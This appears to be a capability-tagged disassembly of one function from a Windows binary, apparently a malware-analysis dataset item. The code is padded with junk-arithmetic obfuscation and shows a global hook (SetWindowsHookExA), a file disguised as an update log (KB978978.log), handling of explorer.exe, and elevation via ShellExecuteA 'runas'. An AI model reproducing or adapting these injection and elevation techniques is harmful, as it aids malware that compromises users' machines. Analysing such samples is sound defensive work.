Function at 0x40e760
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x106c
call fcn.0042aa70
mov eax, dword [0x458190]
mov ecx, dword [0x456824]
mov dword [esp + 0x1068], eax
mov eax, 0x606c8017
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
push ebx
mov ebx, eax
push esi
push edi
mov edi, dword [0x45682c]
mov eax, 0xc4570565
imul edi
add edx, edi
sar edx, 0x16
mov esi, dword [0x456838]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x329dfa79
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x456830]
mov edx, esi
imul eax, eax, 0x53af19
imul edx, edx, 0x15bc8b
add ebx, edx
add ebx, eax
cmp dword [ebp + 8], 0x132b600
mov dword [esp + 0x14], 0
mov dword [str._r_____r____], ebx
je 0x40e876
mov eax, 0x329dfa79
imul ebx, ebx, 0x50ebd8
imul edi
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x456820]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x1eefbef3
imul ecx
mov ecx, dword [0x456818]
imul ecx, ecx, 0x779018
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, ecx
sub ebx, dword [0x456830]
sub ebx, 0x45ab63
mov dword [0x456820], ebx
mov esi, 0x64
push 0x3e8
call edi
dec esi
jne 0x40e857
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042a161
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [0x456820]
imul ecx, ecx, 0x45ab63
mov eax, edx
imul eax, eax, 0x537276
mov dword [esp + 0xc], eax
mov eax, 0x329dfa79
imul edx
mov eax, dword [esp + 0xc]
sar edx, 0x14
add eax, edx
mov edi, edx
mov edx, dword [0x456830]
imul edx, edx, 0x31e0ba
shr edi, 0x1f
add edi, eax
add edi, edx
mov eax, 0x224214b1
imul dword [0x45681c]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
add edi, ecx
sub edi, eax
mov eax, dword [section.microsof]
test eax, eax
mov dword [0x45682c], edi
je 0x40e954
mov ecx, dword [0x456820]
mov esi, dword [0x456830]
mov eax, 0x521ee247
imul esi, esi, 0x537276
imul ecx
imul ecx, ecx, 0x45ab63
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
mov esi, dword [0x456834]
mov eax, 0x759571eb
imul esi
sar edx, 0x15
add edi, edx
mov ebx, edx
mov eax, 0x224214b1
imul esi
shr ebx, 0x1f
add ebx, edi
add ebx, ecx
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov dword [0x456818], ebx
mov eax, 1
mov ecx, dword [esp + 0x1074]
call fcn.0042a161
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x456818]
mov eax, 0x622f07f9
imul ecx, ecx, 0x53af19
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0x54f550
add edx, ecx
mov ecx, dword [0x456828]
imul ecx, ecx, 0x779018
add edx, ecx
sub edx, eax
mov dword [esp + 0xc], eax
mov eax, dword [0x456834]
lea ecx, [edx + eax - 0x45ab63]
mov dword [0x456824], ecx
mov ecx, dword [0x456824]
mov eax, 0x1eefbef3
imul ecx, ecx, 0x42333a
imul dword [0x45681c]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [0x456828]
mov edx, edi
imul eax, eax, 0x1c242f
imul edx, edx, 0x45ab63
sub ecx, edx
add ecx, eax
mov eax, dword [ebp + 0x10]
test eax, eax
mov dword [0x456830], ecx
jg 0x40eaf4
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x40eaf4
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40ea00
sub eax, dword [esp + 0x10]
mov dword [esp + 0x10], eax
je 0x40eaf4
mov eax, 0x606c8017
imul ecx, ecx, 0x53af19
imul esi
imul esi, esi, 0x15bc8b
sar edx, 0x15
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x622f07f9
imul dword [0x45681c]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
sub eax, esi
add eax, ecx
sub eax, dword [0x456824]
mov ecx, dword [ebp + 0x14]
push ecx
add eax, 0x42333a
push 0
mov dword [0x45681c], eax
call fcn.0040bf10
add esp, 8
mov dword [esp + 0xc], eax
test eax, eax
mov eax, 0x606c8017
jle 0x40f3ae
mov edx, dword [0x45681c]
mov ecx, dword [0x456828]
imul edx
mov esi, ecx
sar edx, 0x15
imul esi, esi, 0x54f550
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xc4570565
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x536f78
mov edi, dword [0x45682c]
sub esi, ecx
mov ecx, dword [0x456834]
add esi, edx
mov eax, 0x329dfa79
imul ecx
mov ecx, dword [0x456830]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov dword [0x456834], esi
mov esi, dword [0x456838]
jmp 0x40eb44
mov eax, ecx
imul eax, eax, 0x54f550
mov dword [esp + 0x10], eax
mov eax, 0xade11db9
imul ebx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, dword [esp + 0x10]
sub esi, eax
mov eax, dword [0x456820]
imul eax, eax, 0x53af19
mov edx, dword [ebp + 0x10]
add esi, eax
mov eax, dword [0x456834]
imul eax, eax, 0x45ab63
sub esi, eax
add esi, dword [esp + 0xc]
mov dword [0x456838], esi
mov dword [esp + 0xc], edx
mov eax, 0x606c8017
imul esi, esi, 0x15bc8b
imul ecx, ecx, 0x53af19
imul dword [0x456824]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xc4570565
imul edi
add edx, edi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x329dfa79
imul dword [0x456824]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, esi
add ebx, ecx
push str.c:windowsKB978978.log
mov dword [str._r_____r____], ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x456820]
mov esi, dword [0x456830]
mov eax, 0x521ee247
imul esi, esi, 0x537276
imul ecx
imul ecx, ecx, 0x45ab63
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
mov esi, dword [0x456834]
mov eax, 0x759571eb
imul esi
sar edx, 0x15
mov ebx, edx
add edi, edx
mov eax, 0x224214b1
imul esi
mov eax, dword [0x56a32c]
shr ebx, 0x1f
sar edx, 0x14
add ebx, edi
add ebx, ecx
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [esp + 0xc]
push edx
push eax
sub ebx, ecx
mov ecx, dword [ebp + 0xc]
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
push ecx
mov dword [0x456818], ebx
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.microsof], eax
je 0x40f41d
mov ecx, dword [str._r_____r____]
mov eax, 0x329dfa79
imul dword [0x45682c]
sar edx, 0x14
mov esi, ecx
imul esi, esi, 0x50ebd8
mov edi, dword [0x456818]
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456820]
sub esi, eax
mov eax, 0x1eefbef3
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0x779018
sub esi, eax
add esi, edx
sub esi, dword [0x456830]
sub esi, 0x45ab63
xor ebx, ebx
mov dword [0x56a330], 1
mov dword [esp + 0xc], ebx
jmp 0x40ecb0
mov ecx, dword [str._r_____r____]
mov esi, dword [0x456820]
mov edi, dword [0x456818]
mov edi, edi
mov eax, 0x329dfa79
imul ecx, ecx, 0x50ebd8
imul edi, edi, 0x779018
imul dword [0x45682c]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x1eefbef3
imul esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, edi
sub ecx, dword [0x456830]
sub ecx, 0x45ab63
push str.c:windowsKB978978.log
mov dword [0x456820], ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x40ed1b
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x12c
jl 0x40ec9c
mov ecx, dword [0x456824]
mov edi, dword [0x45681c]
mov esi, dword [0x456838]
mov dword [esp + 0xc], ebx
mov eax, 0x606c8017
imul ecx
sar edx, 0x15
mov ebx, edi
imul ebx, ebx, 0x536f78
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xbc70579
imul esi
sar edx, 0x10
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x61e4609d
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x45ab63
sub ebx, eax
mov eax, dword [esp + 0xc]
sub ebx, edx
cmp eax, 0x12c
mov dword [0x456828], ebx
jl 0x40f48a
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x40f48a
mov edx, dword [0x456820]
imul ecx, ecx, 0x45ab63
mov esi, edx
mov eax, 0x329dfa79
imul esi, esi, 0x537276
imul edx
mov eax, dword [0x456830]
imul eax, eax, 0x31e0ba
sar edx, 0x14
mov ebx, edx
add esi, edx
shr ebx, 0x1f
add ebx, esi
add ebx, eax
mov eax, 0x224214b1
imul edi
add ebx, ecx
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
push 0x800
lea edx, [esp + 0x74]
sub ebx, ecx
push edx
mov dword [0x45682c], ebx
mov dword [esp + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x45681c]
mov eax, 0x1eefbef3
imul ecx
mov ecx, dword [0x456824]
imul ecx, ecx, 0x42333a
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45682c]
sub ecx, eax
imul edx, edx, 0x45ab63
mov eax, dword [0x456828]
imul eax, eax, 0x1c242f
sub ecx, edx
add ecx, eax
mov dword [0x456830], ecx
lea ecx, [esp + 0x70]
push ecx
lea edx, [esp + 0x874]
push str._sexplorer.exe
push edx
call fcn.0042a331
lea eax, [esp + 0x87c]
push 0
push eax
call fcn.0042a389
add esp, 0x14
cmp eax, 0xffffffff
je 0x40f2f2
mov edx, dword [0x45681c]
mov ecx, dword [0x456828]
mov eax, 0x606c8017
imul edx
mov esi, ecx
sar edx, 0x15
imul esi, esi, 0x54f550
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xc4570565
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x536f78
sub esi, ecx
mov ecx, dword [0x456834]
add esi, edx
mov eax, 0x329dfa79
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
push str.explorer.exe
mov dword [0x456834], esi
call fcn.00405d60
mov edi, dword [0x45682c]
mov esi, dword [0x456830]
mov eax, 0x622f07f9
imul edi
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
mov eax, 0x521ee247
imul edx
mov ebx, esi
imul ebx, ebx, 0x54f550
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456820]
sub ecx, ebx
imul edx, edx, 0x53af19
sub ecx, eax
mov eax, dword [0x456834]
imul eax, eax, 0x45ab63
add ecx, edx
add esp, 4
sub ecx, eax
mov dword [0x456838], ecx
mov dword [esp + 0xc], 5
jmp 0x40ef71
mov esi, dword [0x456830]
mov edi, dword [0x45682c]
mov ecx, dword [0x456838]
mov eax, 0x606c8017
imul ecx, ecx, 0x15bc8b
imul esi, esi, 0x53af19
imul dword [0x456824]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xc4570565
imul edi
add edx, edi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x329dfa79
imul dword [0x456824]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, ecx
add ebx, esi
push str.explorer.exe
mov dword [str._r_____r____], ebx
call fcn.004058a0
add esp, 4
test eax, eax
jg 0x40f279
mov edi, dword [0x456820]
mov ebx, dword [0x456830]
mov eax, 0x521ee247
imul edi
imul edi, edi, 0x45ab63
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, ebx
imul ecx, ecx, 0x537276
sub eax, ecx
mov ecx, dword [0x456834]
mov dword [esp + 0x10], eax
mov eax, 0x759571eb
imul ecx
mov eax, dword [esp + 0x10]
sar edx, 0x15
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
mov eax, 0x224214b1
imul ecx
xor eax, eax
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add esi, edi
sub esi, ecx
mov ecx, 0x11
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov ecx, dword [0x456838]
mov eax, 0x606c8017
imul ecx
imul ecx, ecx, 0x15bc8b
sar edx, 0x15
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45681c]
mov eax, 0x622f07f9
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [0x456824]
add eax, edi
sub eax, ecx
mov ecx, ebx
imul ecx, ecx, 0x53af19
add eax, ecx
mov ecx, dword [0x45682c]
sub eax, edx
add eax, 0x42333a
mov dword [0x45681c], eax
mov eax, 0x329dfa79
imul ecx
mov ecx, dword [str._r_____r____]
imul ecx, ecx, 0x50ebd8
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x1eefbef3
imul dword [0x456820]
mov dword [0x456818], esi
imul esi, esi, 0x779018
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [esp + 0x18], 0x44
mov dword [esp + 0x44], 1
mov word [esp + 0x48], 5
add ecx, esi
sub ecx, ebx
sub ecx, 0x45ab63
mov dword [0x456820], ecx
lea ecx, [esp + 0x60]
push ecx
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x78]
push eax
push 0
push 0x20
push 0
push 0
push 0
lea ecx, [esp + 0x890]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40f19a
mov ecx, dword [0x45682c]
mov esi, dword [str._r_____r____]
mov ebx, dword [0x456834]
imul esi, esi, 0x54f550
mov eax, 0x622f07f9
imul ecx
mov ecx, dword [0x456828]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0x53af19
sub esi, eax
mov eax, ecx
imul eax, eax, 0x779018
add edx, ebx
add edx, esi
lea edx, [eax + edx - 0x45ab63]
mov dword [0x456824], edx
jmp 0x40f27f
mov ecx, dword [0x456824]
mov esi, dword [0x45681c]
mov eax, 0x606c8017
imul esi, esi, 0x536f78
imul ecx
mov ecx, dword [0x456838]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xbc70579
imul ecx
sar edx, 0x10
mov edi, edx
add esi, edx
mov eax, 0x61e4609d
imul ecx
imul ecx, ecx, 0x45ab63
sar edx, 0x15
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add eax, edx
add edi, esi
push 1
sub edi, eax
sub edi, ecx
lea ecx, [esp + 0x74]
push ecx
push 0
lea edx, [esp + 0x87c]
push edx
push str.runas
push 0
mov dword [0x456828], edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x40f363
mov ecx, dword [0x456820]
mov esi, ecx
mov eax, 0x329dfa79
imul esi, esi, 0x537276
imul ecx
mov eax, dword [0x456824]
sar edx, 0x14
imul eax, eax, 0x45ab63
add esi, edx
mov ecx, edx
mov edx, dword [0x456830]
imul edx, edx, 0x31e0ba
shr ecx, 0x1f
add ecx, esi
add ecx, edx
add ecx, eax
mov eax, 0x224214b1
imul dword [0x45681c]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [0x45682c], ecx
mov ecx, dword [0x456828]
mov eax, 0x606c8017
imul dword [0x45681c]
mov esi, ecx
sar edx, 0x15
imul esi, esi, 0x54f550
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xc4570565
imul ecx
mov eax, dword [0x456818]
add edx, ecx
imul eax, eax, 0x536f78
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
add esi, eax
mov eax, 0x329dfa79
imul dword [0x456834]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
push 0x3e8
mov dword [0x456834], esi
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0xc]
jne 0x40ef5f
mov edi, dword [0x45682c]
mov ebx, dword [str._r_____r____]
mov eax, 0x622f07f9
imul edi
mov eax, dword [0x456830]
imul eax, eax, 0x54f550
sar edx, 0x15
mov dword [esp + 0x10], eax
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xade11db9
imul ebx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456820]
mov esi, eax
imul edx, edx, 0x53af19
mov eax, dword [esp + 0x10]
sub esi, eax
mov eax, dword [0x456834]
imul eax, eax, 0x45ab63
add esi, edx
sub esi, eax
add esi, ecx
mov dword [esp + 0xc], ecx
mov dword [0x456838], esi
jmp 0x40e9a1
mov eax, 0x1eefbef3
imul dword [0x45681c]
mov eax, dword [0x45682c]
sar edx, 0x13
imul eax, eax, 0x45ab63
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456824]
imul edx, edx, 0x42333a
sub edx, ecx
mov ecx, dword [0x456828]
sub edx, eax
mov eax, ecx
imul eax, eax, 0x1c242f
add edx, eax
mov dword [0x456830], edx
jmp 0x40f27f
mov ecx, dword [0x456824]
mov esi, dword [0x45681c]
imul ecx
sar edx, 0x15
imul esi, esi, 0x536f78
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x456838]
mov eax, 0xbc70579
imul ecx
sar edx, 0x10
add esi, edx
mov edi, edx
mov eax, 0x61e4609d
imul ecx
imul ecx, ecx, 0x45ab63
sar edx, 0x15
shr edi, 0x1f
mov eax, edx
shr eax, 0x1f
add edi, esi
add eax, edx
sub edi, eax
sub edi, ecx
mov dword [0x456828], edi
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042a161
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x456838]
mov eax, 0x606c8017
imul ecx
imul ecx, ecx, 0x15bc8b
sar edx, 0x15
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45681c]
mov eax, 0x622f07f9
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [0x456824]
add eax, esi
sub eax, ecx
mov ecx, dword [0x456830]
imul ecx, ecx, 0x53af19
add eax, ecx
sub eax, edx
add eax, 0x42333a
mov dword [0x45681c], eax
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042a161
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [0x45682c]
imul esi, esi, 0x15bc8b
mov eax, 0x606c8017
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xc4570565
imul edi
add edx, edi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x329dfa79
imul ecx
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456830]
imul edx, edx, 0x53af19
sub ebx, ecx
mov ecx, dword [esp + 0x1074]
add ebx, esi
add ebx, edx
mov dword [str._r_____r____], ebx
mov eax, 1
call fcn.0042a161
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret